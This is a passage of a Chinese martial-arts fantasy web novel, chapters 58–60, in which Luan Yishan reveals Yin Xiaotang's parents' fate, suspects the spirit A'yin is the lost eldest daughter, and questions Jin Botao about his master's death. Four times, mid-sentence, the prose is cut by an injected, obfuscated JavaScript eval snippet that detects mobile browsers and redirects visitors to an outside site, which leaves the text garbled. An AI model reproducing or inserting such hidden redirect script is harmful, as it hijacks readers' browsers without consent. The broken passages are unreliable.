明山城下的市集在这个时候是最热闹的,南来北往的客商都汇聚于此,在五柳山庄鼎盛的时代,这里的秩序安全均由庄内弟子负责,但时过境迁,五柳山庄已经负担不起这项任务,因此繁荣之下,滋生了许多盗窃、抢劫之类的祸事,客商便自发组建起护卫队,可各家之间也存在大大小小的冲突,只不过做生意的大多圆滑,不至于演变为械斗。因此市集上下,目前还算得上太平。 不过,近期各个商家似乎要推选新的话事人来重新主持这个庞大的市集。 这是尹晓棠离开北地之前,刚刚听说的消息,现在回来,不知这位话事人推选出来没有。 思及至此,她忽然问栾易山:“栾前辈,先前听说这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762415|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的客商要推选话事人,你知道最终结果吗?” “没兴趣。” “哦。” 尹晓棠想想也是,这行商之道,和他们这些修者,本就不是一路人。 市集热闹,吃喝玩乐,一应俱全,阿音很是高兴,一会儿要这个,一会儿要那个,尹晓棠自掏腰包给她买,本来就只有几个子儿,很快就见了底。当阿音又要买一个风车的时候,她只好求救似的看向栾易山,对方看都没看她一眼,淡淡地付了钱,就还是揣着手,站在一边。 “谢谢栾前辈。” “算赊账,不计你利息。” 尹晓棠:“……” 大管事,栾前辈这是生气,还是没生气啊? 她心中忐忑,在阿音又要买金银首饰的时候,忙拦住她:“阿音姑娘,我们去隔壁店里看看吧,那里也好玩。” 阿音不解,但还是放下了那些漂亮的珠玉翡翠,挽着人出了门。 “二位姑娘,画像吗?” 路边坐着个眯眯眼的画师,见了她们,就问要不要画像,他跟前铺了一张陈旧的长布,上头放了些笔墨纸砚,还有几张画好的小像,都用小石头压着,防止被风刮走。 尹晓棠本来不情愿,但阿音很有兴致,当下就乖乖坐了下来,尹晓棠没办法,也陪她一道:“就画一张吧。” “好,包您满意。” 那画师说着,手一伸,捉襟见肘,他笑笑,又放慢了动作,尹晓棠摆摆手:“我们不介意,你怎么方便怎么来。” 她说着,又压低声音:“还有,能不能帮我把我后边的这位大哥也画进去?” 画师一抬头,就看见栾易山抱胸而立,一股很强的生人勿近的气息直冲他脑门。画师笑笑,倒也不怕生:“行,没问题。” “我听得见。”栾易山慢条斯理地说着,差点就把“笨蛋”两个字刻在脸上了,尹晓棠耸了下肩膀,当下坐直了身子。 画师大笔一挥,很快就绘出了三人的轮廓,隐约真有几分神韵,他边画边问:“那位蒙眼的姑娘,介意将那锦带解下来吗?” “她不方便,你尽管画就是了。” 尹晓棠替阿音回答道,那画师也没有多问,埋头挥洒笔墨。栾易山看着他勾勒的笔法,再看到画上逐渐清晰的人像,忽然蹙眉:“慢着。” “嗯?这位客人您有其他要求吗?” “画给我看一下。” “好。” 画师没有细想,将手中的半成品交给了栾易山。 画上是他们三个人的模样,但均未全部完成。阿音的五官,除了眼睛,其他的都被记录下来。她本来和李闻棋一样,口中衔着一片金箔,但那画师并不认识这些术法,以为这些是装饰品,就自作主张将阿音完整的唇形画了下来,眼睛的位置则是简单勾了两笔,还没有完全画好。但画师对细节的捕捉,总比他们这些人强上许多,以至于栾易山觉得,这张画像上的阿音更趋近于她生前的模样。 怎么有些,眼熟? 栾易山拧着眉毛,将那张画像还了回去,微微颔首:“多谢。” “您说笑了,您能来照顾我的生意,该是我道谢才对。” 那画师十分客气,接过画纸,继续画了起来。 58. 第 58 章 日影渐升,直至中天,强烈的日光穿过市集最高的帆旗,洋洋洒洒落满这熙攘之地。 栾易山神色未变,静静地等待着那个画师将画像画好。只是他偶尔会瞄一眼一旁的阿音和尹晓棠,谁也看不出他到底在想些什么。 “好了,您过过目。” 那画师再次将那幅画像递了过去,阿音接了过来,左看右看,十分满意,尹晓棠一摸口袋,又是一脸惭愧地看向栾易山,对方一句话没说,随手付了钱,尹晓棠激动地双手合十,还没开口道谢,就听这人不咸不淡地说道:“我还没死呢,别急着拜我。” 尹晓棠讪笑,阿音见状,狠狠踩了栾易山一脚,就挽着尹晓棠飞速逃跑。 “一群小鬼。” 栾易山也不恼,慢悠悠跟了过去。 几人一直玩到天黑才回去,一进庄内,阿音就迫不及待地和尹晓棠整理起她们的战利品。栾易山倚在廊下,注视着她们。两个少女看上去差不多大,甚至阿音看着要更显小一些,大概是因为高兴,她整个人都散发着一股清灵之感,相比之下,尹晓棠竟显得稳重了一点,隐隐约约有了点她父母的样子。 栾易山沉寂如深潭般的内心,忽然起了些许涟漪。 他尚且年少的时候,也曾在这山庄走动。虽然并不是门内弟子,但因为他与当时的五柳山庄大弟子,陈勉,关系不错,所以被特许自由行走。那时候,每到夏夜,门下弟子三五成群归庄后,他们也会聚在一块儿玩玩,有时候切磋比试,有时候投壶饮酒,玩些逍遥的游戏。 栾易山性情孤僻,并不喜欢这么热闹的场景,可陈勉又很霸道地不许他先走,安排他在一边做裁判。他就像今天这样,倚在廊下,要死不活地给那群大呼小叫的年轻人计分。 回忆至此,栾易山忽然有些恍惚,仿佛有那么一瞬间,他回到了那段年少时光里,他再等一会儿,陈勉那个小霸王就会朝他招招手,高喊着他的名字:“小山!你快来啊!” 栾易山眯了眯眼,无声地笑了一下,尹晓棠恰好走了过来,递给他两个还热乎的包子。栾易山仍是揣着手,动也不动,尹晓棠以为他不吃,又收了回来,对方注视着她,很意外地说了句:“晓棠,你长得不是很像你母亲。” “啊?”尹晓棠明显愣了愣,还以为对方要跟她讲述父母的过去,还激动了起来,结果栾易山张嘴又是一句:“你比较像你爹,是个老实人。” 尹晓棠:“……” 栾易山见状,笑着叹了一声:“想必没人告诉过你,你父母的事情吧?他们去世的时候,你才三四岁,后来的日子风雨飘摇,小勉也顾不上你。” 尹晓棠又是一怔:“栾前辈,你是不是和我爹娘非常很熟悉?” “不熟啊,相反,基本没打过交道。” “哦。” 尹晓棠有些失望。 “我只知道他们当年是怎么死的。” 尹晓棠嘴一撇:“栾前辈,你说话有些难听了。” 栾易山没有说话,眼神平静,比起往常甚至多了些慈爱,尹晓棠不懂他的意思,有些奇怪:“栾前辈,你还有别的事情要交代我吗?” “你父母都是当年庄内一等一的高手,是老庄主亲卫,但我见他们时,大概和你差不多大,那会儿,他们还只是小勉的师弟师妹,没有很出彩的地方。” 栾易山说了许多,尹晓棠愣愣的,只听对方又道:“再后来,也不知道过了多少年,我因故离开北地,再听到你父母消息的时候,已经到了魔都祸世,天下大乱的日子了。” “当年,魔都精锐围堵明山城,城内百姓与山庄岌岌可危,老庄主命你父母为先锋,率小队突围,与尚在外抗敌,未能及时回援的陈勉会合,但此事未成,你父母与小队众人皆败而亡。” 栾易山平静地叙说着,那些残酷的过往犹如枯木生芽,又一次激起了尹晓棠内心,那些细微的痛楚。 她知道,她其实都知道,从小到大,她听过无数遍这个事情,甚至有人会添油加醋地对她描述细节,那些血淋淋的画面,即使她从未目睹,也刻骨铭心。 可那又怎么样呢? 她注定要长大,她必须要长大。虽然爹娘再也看不见她今后的模样,可那些悲壮慷慨的血肉终究会在她身上延续下去。 栾易山声音小了些:“但其实你父母并不是在同一时间去世的。” 尹晓棠微微瞪大了眼睛。 “当年,那支小队遭遇魔都埋伏,你父亲与其他人负责断后,由你母亲携带老庄主信物,只身前往连天野,遇到了千里回援的陈勉。” “如果那天,他们能及时赶回,五柳山庄也许会有一线生机。” “可惜的是,因为魔都眼线泄密,陈勉和你母亲又遭到重创,再次走散。你母亲——” 栾易山忽然顿了顿,问了一个问题:“你知道,老庄主有几个儿女吗?” “三子一女?”尹晓棠并不清楚,老庄主殉节,他的儿女,除了后来鬼迷心窍的明正扬,其他人也随之牺牲了。那时候她还小,连父母都记不住,何况是其他人呢? 栾易山没有直接告诉她这个答案,只是轻叹一声:“老庄主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762416|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小女儿,魔都祸世之时,正和陈勉一起行动。你母亲见到她们,受陈勉之命,负责保护大小姐,抄近路赶回山庄。” “但她们都没有回来。” “陈勉伤重,等她再次醒来,赶回山庄时,已无力回天。” 尹晓棠愣在原地,栾易山伸出手,摊开掌心,上面静静地躺着一枚陈旧的骨韘:“虽然我见你母亲的次数并不多,但这一枚,我向你保证,属于你母亲,□□冰。” 尹晓棠不敢置信:“我,我娘的?” “这是阿音交给金伯涛的,而金伯涛,希望你能原谅他的所作所为。” 栾易山说着,眼神却飘向了还在啃鸡腿的阿音身上,对方正吃得高兴,根本不理他们,他垂眸,又看向尹晓棠:“晓棠,我五柳山庄与听海崖是世仇,但黎思之已死,听海崖也已沉寂,今后何去何从,你自己做个决断吧。” 话音刚落,栾易山便又将那枚骨韘朝她递了过去,尹晓棠难免哽咽,小心翼翼地接过,眼泪就落了下来:“真是我娘亲的吗?” “我从不说谎。” 尹晓棠将那枚落灰的骨韘紧紧握在手中,咬着牙,无声痛哭起来。阿音听到动静,又飞快地飘到她身边,见她哭得厉害,原本好奇的表情迅速变成了愠怒。她指着栾易山,似乎在斥责对方的无理,栾易山眼神一沉:“你来得正好,我也有些别的事情要问你。” 阿音气得衣角都在用力,尹晓棠擦去眼泪,拉住她:“我很高兴,你别生气。” 阿音头一歪,一脸困惑,尹晓棠攥着那枚骨韘,问她:“阿音姑娘,这是你给涛哥的吗?” 对方点点头。 尹晓棠又问:“那你是从哪儿得到的?” “主人给的。” 阿音一笔一划地写下,尹晓棠懵懵地点了个头:“李门主啊,那他又是怎么得来的?” 阿音摇摇头。 栾易山观察着她的反应,低声道:“你应当没有生前的记忆吧?” 阿音指了指自己,仿佛在说:“我吗?” “是啊,难不成——” 栾易山忽然打住,将后半句“难不成我和晓棠是死人吗”,硬生生咽了下去。 尹晓棠瞧瞧这个,瞧瞧那个,一手挽住一个人胳膊:“我们去屋里慢慢聊吧,天都黑了,马上要有蚊子咬我们。” 栾易山轻轻挣开她:“你先哄好这位大小姐吧,少跟我套近乎。” “哦。” 尹晓棠刚刚还在感动,现在又碰了一鼻子灰,只好擦干净眼泪,挽着阿音往屋里走。 59. 第 59 章 一盏烛火摇曳,万籁俱寂,北地的夏天要来得迟一些,眼下还未到流萤时节,整个山庄入了夜,多少有些无趣。 尹晓棠也不知道该怎么哄阿音,点了灯,倒了茶,就坐在桌边和人一起干瞪眼。那点烛火也不足以完全照亮这间宽敞的屋子,阿音大半个身子都还浸在黑暗里,眼上的飘带、口中的金箔闪着若有似无的微光,衬得她格外神秘。 尹晓棠等了半晌,才敢小心翼翼地问道:“阿音姑娘,你,你还记得以前的事情吗?” 阿音摇摇头。 “你身上那些东西,可以取下来吗?” 栾易山的声音幽幽响起,尹晓棠吓了一跳,刚转过头,对方就已经来到了她们身边,慢条斯理地坐下,阿音在桌上写着:“不能。” “为什么不能?” “主人说摘了就会魂飞魄散,阿音不愿意。” “李见尘是这么说的?”栾易山似乎颇有弦外之音,“可我摘了李闻棋的金箔,并未发生意外。” 阿音一愣,又默默写着:“他和我的情况不一样,主人说并不能比较。” “有何不一样?” 阿音摇摇头:“主人没说。” 尹晓棠思来想去,双手托腮,十分苦恼:“会不会是因为,李闻棋去世的时间比较早,他身上的术法不成熟,所以被破坏后才不会造成反噬?” 栾易山不是很认可这个说法,他道:“李闻棋身上的术法远比我们看到的复杂,并不幼稚。” 他又看向阿音,稍稍压低了声音:“一点都不能摘吗?” 对方仍是拒绝,栾易山便没有强求,尹晓棠眨眨眼,问道:“栾前辈,你是不是在好奇阿音的长相?” “嗯。” 栾易山没有否认这一点,尹晓棠又从怀中取出那张三人的画像,说着:“要不,等李前辈和我们会合,我请他帮帮忙?如果这术法实在不能解开,就让他描述一下阿音的长相,我们请那位画师重新画一张,怎么样?” 栾易山瞟了她一眼,对她的天真感到一丝费解:“你以为李见尘会乖乖配合?” 听到这个,尹晓棠的眉毛又耷拉下来:“李前辈确实做错了很多事,但我觉得他是有苦衷的,而且孙前辈也没有怪他,还把他带回去疗伤,说不定他们之间的嫌隙能消解呢?最起码等我们再相见,应该不会再大打出手了吧?” 栾易山一听,忍不住扶额,这话要是从陈彦或者其他任何人口中说出来,他一定当场掀桌子,但是—— 算了,孩子养成这样,他这个做长辈的恐怕也要以死谢罪。 栾易山不再理会尹晓棠,又问阿音:“你在听海崖的每一天,你都还记得吗?” 阿音点点头。 “能不能从头和我说一遍?” 阿音犹豫了起来,尹晓棠便劝道:“阿音姑娘,我们不会伤害李门主的,你放心好了,孙前辈与我们都希望事情能圆满解决。” 阿音略略思索,点了点头,取来笔墨纸砚,缓缓写下她自有记忆以来的所有事情。 “大概是十几年前,我第一次在听海崖见到主人,那时候,我好像在一个很黑的地方,伸手不见五指,也看不见其他任何人,只有主人的声音能够传来。我觉得他离我很近,可是又摸不着。” 栾易山看着纸上隽秀的小字,眉头微蹙:“十几年前,是魔都祸世之前,还是之后?” “不知道,我的记忆开端,就是一片黑暗。” 栾易山没有说话,示意她继续写下去。 阿音又一次写下:“后来,又过了些日子,我才渐渐能摸到一些实物,那些应该都是石头之类的东西,很冷、很硬,还很潮湿。但我还是看不见主人,他和我说,我要慢慢适应这里,等我完全适应,自然就能看见他。” “我就摸着那些石头慢慢走,它们似乎围成了一个圈,我走到最后,都会回到原地。” ”主人偶尔会吹箫,但时间不长,只有一两首。” “再过了几个月,我终于能够看见了。” 阿音记得,那天正是一年之中最潮湿阴冷的时节,冷冽的海风裹着又咸又涩的潮水气息从山崖之外扑来,刮得她单薄的身躯摇摇欲坠。李见尘懒散地坐在崖边,只穿着单衣,鞋子都没有,要不是身上还算干净,头发也算整洁,阿音都要以为他是个流浪汉。 “你醒啦?要不要坐到这儿来看看海?” 李见尘拍拍身侧粗糙的沙石,阿音不太敢,怯怯地朝前挪,那山崖之下,就是怪石嶙峋的海滩,汹涌的海水自天边呼啸而来,阴沉的雷云仿佛要将目之所及的一切压垮。阿音小心翼翼地坐了下来,双脚悬空,李见尘叹了一声:“阿音,今后我会教你一些术法,可能是保命的,也可能是杀人的,你愿不愿意学?” 阿音想着,心里面却空空的,没有一个准确的答案,她甚至没有怀疑过自己的身份,没有追究为何她会在这里。她沉默地点了点头,想说话,这才发现自己发不出任何声音。 李见尘亲自给她蒙上了眼睛,在她唇上贴了一片金箔,阿音轻轻咬了下,之后就是一阵剧烈的牙痛,之后就不敢咬了。自此,她就听凭对方差遣,学习了术法,替他传达指令。 “我起初很担心主人会让我去杀人,但他没有这么做,他就让我跑腿,然后回复给他就好。” 栾易山看完,更是眉头紧锁:“你第一次见到李见尘,为何是在山崖上?我记得他明明一直埋于地宫,不曾现世,难道,地宫里的不是他?” 阿音摇摇头,这些事情她一概不知。 栾易山直觉其中大有蹊跷,但再观阿音神色,估计也问不出个所以然来,索性作罢,叮嘱尹晓棠早点睡觉后,就兀自出了门。他没有回自己的住所,而是穿过空无一人的庭院,从角门出去,来到了祠堂中。 这是五柳山庄唯一一处会彻夜点灯的地方。 栾易山在空闲的时候,会在明山城的市集上摆摊算卦,以此来补贴油钱。他固执地认为,此举能使亡魂归乡时,不至于迷路。 待到春日,再回到故土,与我重聚吧。 栾易山垂下眼帘,一步一步,缓缓地走上前,在灵台前奉上长香,再抬头看去,满眼都是他熟悉的名字。这祠堂之中,不仅有历代庄主,还有许多为了山庄前仆后继的门人。陈勉的牌位被他放在了老庄主偏下一点,和老庄主的儿女并列。 栾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762417|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易山沉默地盯着那一排牌位,眉间似是染上了淡淡的愁绪。尹晓棠悄悄跟了过来,鬼鬼祟祟地从门口探出小半个脑袋,栾易山捂了捂眼睛,抹去一脸的疲惫,再开始又是那冷漠的腔调:“都跟到这儿来了,还不进来磕个头?” “哦哦,来了来了。”尹晓棠赧然,乖乖进去,三叩九拜,行了一个大礼。 栾易山斜眼看了看她,又目视前方,正经问道:“我让你每天过来上香,你没有懈怠吧?” “没有没有,我每天很早就来上香,然后再去练功,刮风下雨,从不懈怠。”尹晓棠一脸诚恳,盘腿坐在了祠堂的蒲团上,栾易山的影子投在地上,又斜又长,盖住了她的大半个身子。 “这么晚还跟过来,是有话要问我?” “嗯,想问问栾前辈更多关于我爹娘的事情。” “没什么好说的,我和他们不熟。”栾易山还是嘴上不饶人,尹晓棠低头,看着地上昏暗的影子,问着:“那我可以戴着我娘亲的骨韘去练弓吗?” “这本来就是你的,你自己做决定,不要什么事都来问我。” 尹晓棠忙解释道:“是,是大管事说——” “你最好别拿鸡毛当令箭,对我没用。” 尹晓棠察觉到他似乎心情很差,平时就算再怎么牙尖嘴利,也不会像今天这样刻薄。 难道,是发生什么事了吗? 可她今天一直和栾前辈待在一块儿,没有什么大事啊。 尹晓棠想不明白,盘弄着手里的骨韘,又看看祠堂里那一排排的牌位,上面的每个名字,除却陈勉几人,于她而言都非常陌生。可栾前辈不一样,上面的人,也许曾经都是他认识的,甚至可以称得上是朋友的人。 尹晓棠看着看着,忽然福至心灵,问着:“栾前辈,你是不是在怀念他们?” 栾易山:“……” 尹晓棠一愣,安慰的话顿时憋了回去,难道她说得不对? 栾易山没有说话,指着陈勉旁边的那块牌位,问她:“上面的字,你认识吗?” “认识啊。”尹晓棠不解其意,对方又道:“念出来我听听。” “五柳山庄,明音之位。” 尹晓棠一愣,不可思议地看向栾易山,对方一脸凝重:“大小姐喜好山水,及笄之后便常年在外,她修为一般,各方面都更趋近于一个普通人。若世道太平,她也该是一位闲散快活之人。当年山庄蒙难,她刚好出门在外,闻此十万火急之事,便寻到陈勉,与其一道返乡,可途中遭遇埋伏,双双走散。” 尹晓棠错愕不已:“你的意思是——” 栾易山长叹:“这个世界上,叫阿音的人很多,我原本并没有往这方面想。你父母身为老庄主亲卫,我都快忘记他们的模样了,大小姐于我,就更是一个陌生人。” “可是,她游历四方,寻胜访奇,时常会寄家书过来,对她的字体,我倒是有些许印象。” 栾易山感觉眼睛有些酸痛,连面前陈勉的牌位都有些看不清了,他恍惚间,又听见这个小霸王在叫他:“小山!小山!阿音寄回来一些新奇玩意儿,你要不要?” 栾易山闭了闭眼,缓缓坐在了地上。 60. 第 60 章 祠堂的烛火笼罩在二人身上,愈发寂寥起来。尹晓棠注视着一言不发的栾易山,对方揉了揉眉心,像是有些累了,说话声音也低了许多:“天不早了,你回去睡吧。” 尹晓棠低头看了看掌心的骨韘,忽地握紧了些:“栾前辈,有没有事情是我可以帮上忙的?” “暂时没有,你只要看住阿音就行,至于其他的,”栾易山顿了顿,长叹一声,“李闻棋身上的术法很奇怪,要费上不少工夫,急不来。” “嗯。”尹晓棠点点头,栾易山摆摆手,示意她赶紧回去,小姑娘只道:“那栾前辈,我先回去了,你也早些休息。” 栾易山点了点头,沉默不语,尹晓棠便站起身,一步三回头地离开了祠堂。 她一个人穿过漫漫夜色,来到空旷的庭院中。五柳山庄的东侧是校练场,但近年来,门生凋敝,已经没多少人会去训练了,大管事生前还会打理一二,可他去世之后,那里就被栾易山锁了起来,短短一年半载,便大有荒草丛生的趋势。 尹晓棠握着那枚陈旧的骨韘,一想到它曾经属于母亲,心绪起伏,便决定去校练场转一圈。她脚尖轻点,翻上院墙,踏过层层黑瓦,从校练场的侧门翻了过去,轻轻落了地。鞋尖染了些灰尘,草木勃发,寂寂无声,所有的陈设基本都被拆除,一点点塞进了仓库,只剩下一些固定的靶位还留在远处的墙壁上,没有被毁掉。 尹晓棠向前两步,原地站定,换下拇指上的骨韘,取出自己的弓箭,稳稳拉满,月光隐入云层之中,晦暗无边,远处的靶位根本看不见。可尹晓棠还是凭借着过去的记忆,射出了第一支箭。“嗖”,箭如疾风,瞬间没入黑暗之中。尹晓棠快速地朝前奔去,带起一阵细微的夜风,父母去世的时候,她还是个懵懂稚子,可三四岁的年纪,也不能说一点记忆都没有。回忆的长河朝前回溯,她记得很小的时候,她被父母牵着,来到过这个校练场。 那是个大晴天,艳阳高照,她被父亲高高举起,骑在脖子上,观看那些热闹非凡的比试切磋。有不少人围了过来,逗着她玩,还有人在和父亲说话,尹晓棠到处张望,年轻的母亲正中了一处靶心,搏来满堂喝彩。尹晓棠咯咯直笑,跟着不停地拍手,又有人走了过来,摸了摸她的小脸:“我们晓棠也要试试吗?” “大师姐。”父亲微微颔首,尹晓棠朝那人伸出圆圆的小胳膊,对方将她稳稳抱了过去:“走咯,我们也去射箭!” 她得到了一个小小的,和她人一样高的竹弓,一群人七手八脚地围着她,教她如何站定,如何拉弓。尹晓棠鼓起腮帮子,用足了劲儿去拉开弓弦,可手上一滑,“啪”,弓弦打到了她的额头,她整个人摔了个屁股蹲。 尹晓棠哇哇大哭,骨碌爬起来就要娘亲抱抱,只是最后究竟是谁将她抱了起来,又是谁在她涂的止痛膏,又是谁掰了些零嘴哄她,她全部忘记了。 尹晓棠终于跑到了靶位上,那支箭正中靶心。 她突然涌上无限的悲伤,掩面哭泣。 庭树不知人尽去,春来还发旧时花。 她拼尽全力去振兴五柳山庄,但那些人,终究是被困在了旧日里。 可无论如何,这些事情都必须由她来完成,这是希望的意义。 尹晓棠擦干净眼泪,拔下自己的那支羽箭,一张脸突然出现在她面前,吓了她一跳。待看清来人,尹晓棠才松了一口气:“阿音姑娘,你没睡呀?” 阿音摇摇头,在她掌心写下:“你怎么一个人在这里哭?” “想我爹娘了。” 阿音一顿,无言地摸摸她的手,尹晓棠借机问道:“阿音姑娘,你真的什么都不记得了吗?” “不记得了。” “这个名字,也是李前辈给你取的吗?” 阿音点点头。 尹晓棠有些泄气,对方又问:“我也想主人了,我什么时候可以见他?” 这下,轮到尹晓棠沉默了,她思量片刻,道:“我可以帮你写信。” 阿音凑近了些:“写信?意思是,你知道主人的下落?” “我不知道,我回到五柳山庄的第一天就收到了薛前辈的信,我回信的时候,是在原本的信笺之后,附了几张纸,然后他的雨燕就一起带走了,至于飞去了哪里,我并不是很清楚。” 尹晓棠说的是实话,薛闻笛这次刻意隐瞒了他和孙雪华的行踪,应该是不想被打扰,她便没有多问,只劝慰着阿音:“等薛前辈再来信,我再帮你写。” “我自己也会写。”阿音听了这话,又有些赌气了,她飞快地朝前飞奔,尹晓棠忙去追她,偌大的山庄仿佛在这一刻,变成了她们的角逐场。 尹晓棠只希望阿音能尽快停下来,免得被栾易山发现,又是一阵数落。可阿音似乎十分熟悉这里,东绕西绕,尹晓棠差点追不上她,只好在后面叫着:“阿音姑娘,你快随我回去,不要乱跑!” 阿音装作听不见,像是很享受这种捉迷藏的乐趣,犹如一缕轻烟,从门缝里钻了进去,尹晓棠慌了神,顾不得许多,便去推门,结果发现那扇门上了锁,她一下没推开,就打算从窗户那边翻进去,结果窗户也钉死了。 “糟了,阿音姑娘千万不要乱翻东西啊!” 尹晓棠不停地拍着房门,一般这种被锁得死死的房间,多半是已故之人的旧居,栾前辈曾经特意叮嘱过,不要随便闯入,这下真是老虎头上拔毛,想不开寻死了。 她急得失了阵脚,徒手去掰那道锁,结果那锁做工很是精巧,一时半会儿根本掰不开。阿音在屋里头转悠,摸摸这个,摸摸那个,倏地被墙上挂着的一个箭袋吸引。她走上前,指腹拂过那箭上飞羽,一点熟悉的感觉从心底冒了出来,可她的脑海依旧空白,只听“咔哒”一声,栾易山阴沉着一张脸走了进来,尹晓棠唯唯诺诺跟在后头,跟个鹌鹑似的低着头,不敢大喘气。 阿音没有意识到危机的到来,甚至走了过去,想挽起尹晓棠的胳膊,就听栾易山低声道:“从现在开始,你们不准离开那个院子。” 阿音不服气,刚要和他争辩,对方又是一记眼刀杀过来:“若是不遵,明日我就将李闻棋扔到焚化炉里去。” 阿音这下不敢造次了,老老实实握紧了尹晓棠的手,对方更不敢劝,头埋得更低了些,栾易山扫了她一眼,语气放缓了些:“回去睡吧,今日之事,就算过去了。” 尹晓棠一愣,嗫嚅着:“对不起。” 栾易山摆摆手,两个小姑娘迅速消失在了他的视野中。他感到一阵疲惫,又去看了眼墙上的箭袋,确定它们平安无事,这才小心取下,换个地方藏起来。 这是陈勉留下来的,最后几支箭。 次日一早,尹晓棠照例早早起床练功,阿音真就乖乖地待在她旁边,托着下巴,像是在认真观摩。栾易山则是又去了一趟地宫,看望了下李闻棋。 那人仍是静静地躺着,像是睡着了,眼睫浓密,口唇红润,十分鲜活,一点都没有衰败的迹象。 栾易山看不懂,他又一次取出那张封印着李闻棋魂魄的符纸,犹豫着,要不要将其放出。李闻棋的魂魄没有自我意识,只是简单地听从李见尘的指令,那他的神识,去了哪里?三魂七魄,总该有个停留在人间的落脚点。 “难道,还在他肉身之中?” 不对,若是肉身还残留着自我意识,那他就不能算死亡,魂魄理当可以归位。 栾易山返回禁闭室,将金伯涛拎了出来。 “你要带我去哪儿?”对方起先有些抗拒,可再听到“去见你师父”这句话时,瞬间不作声了,连栾易山蒙住他的眼睛,捆住他的双手,像拴着一条狗一样,牵着他去地宫时,他都没有半点怨言。 他看得出来,栾易山脾气很大,而且,是个睚眦必报之人。 刀山火海里滚出来的人物,可不是什么好欺负的。 金伯涛乖乖去了,栾易山摘下他眼上的布条,当那张熟悉的脸庞出现在眼前时,金伯涛“扑通”跪在了地上,以头抢地,哽咽着:“师父。” 栾易山面无表情,只等他情绪稳定下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762418|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才不咸不淡地说着:“听着,你师父的死因,也许另有隐情。” “你说什么?” “我听晓棠说,你师父是被毒死的,可他的肉身之中,并没有中毒的痕迹。当然,我不擅长医理,你也可以认为是我才疏学浅,没有测出来,但你师父的情况很奇怪。” 栾易山压根儿没理会金伯涛越来越惨白的脸色,自顾自地说着:“第一,你师父身上没有任何外伤,可见他生前没有与人发生过争斗,眼角那道疤,应该是他倒下时,撞到桌角留下的,并不是其他利器所致。” “你师父虽不曾青史留名,但至少是门中翘楚,即便中毒,也不应该在瞬间失去任何反抗之力。致命之毒,会在短瞬之间侵入五脏六腑,毒发之时,人会非常痛苦,许多人会有抓掐之类的动作,指缝、裸露的皮肤,多数会留下痕迹。可你师父的神情非常平静,就好像是在睡梦中,突然去世的。” 金伯涛感到一阵心痛,头晕不已,栾易山又道:“再有,你师父去世后,你师祖真就没有采取任何行动吗?你在雨夜里,撞见的那个人,如果真是你师祖,那么当时,追杀你的黎思之和宋忱,就没有和她撞上吗?” 金伯涛只觉得喘不上来气,四肢都变得僵硬起来,栾易山蹙眉,默默伸手,替他顺了顺气:“就你这承受能力,居然也能在宋家当卧底?这么些年,没被宋忱吓死吗?” 金伯涛眼泪瞬间落了下来:“祖师爷和我说,只要我照他说的去做,就可以为师父报仇。结果你告诉我,我师父也许不是被他们害死的。” “你能不能不要这么蠢?” 要不是怕脏了自己的手,栾易山真想狠狠给他一拳,让他清醒清醒,“先不论你师父,单说宋家犯下的那些滔天罪孽,早就够他们千刀万剐了,你还愧疚上了?” 金伯涛呜咽着,说不出一句完整的话,栾易山没有多少耐心:“你那个祖师爷,有没有告诉你,为什么你师父会神魂离体,却没有自我意识?” 金伯涛深吸一口气,缓缓说道:“祖师爷说,这是有人从中作梗,他暂时也没有办法,但是能用术法,让师父能够活动。” “术法?就是那蒙眼的飘带和贴唇的金箔?” “嗯,祖师爷说,缠上这些东西,就能依靠金珠,对师父下达指令。” “那你师父就相当于一个玩偶。” “祖师爷说,等他得到足够的力量,就能让师父神魂归位。” 栾易山摸着下巴,思量着:“怪不得李见尘要缠着孙霁初,原来是要吸收他的力量。” 金伯涛没有听得太明白,问道:“此话怎讲?” “你这种蠢人不要多问。” 栾易山懒得和他一一解释,又问:“那阿音是什么情况?她身上的术法,和李闻棋十分相似。” “阿音姑娘的事情,我也问过一嘴,但祖师爷说得含糊,我不太记得了。” 栾易山:“……” 算了,不要和傻瓜置气,不然会被气死。 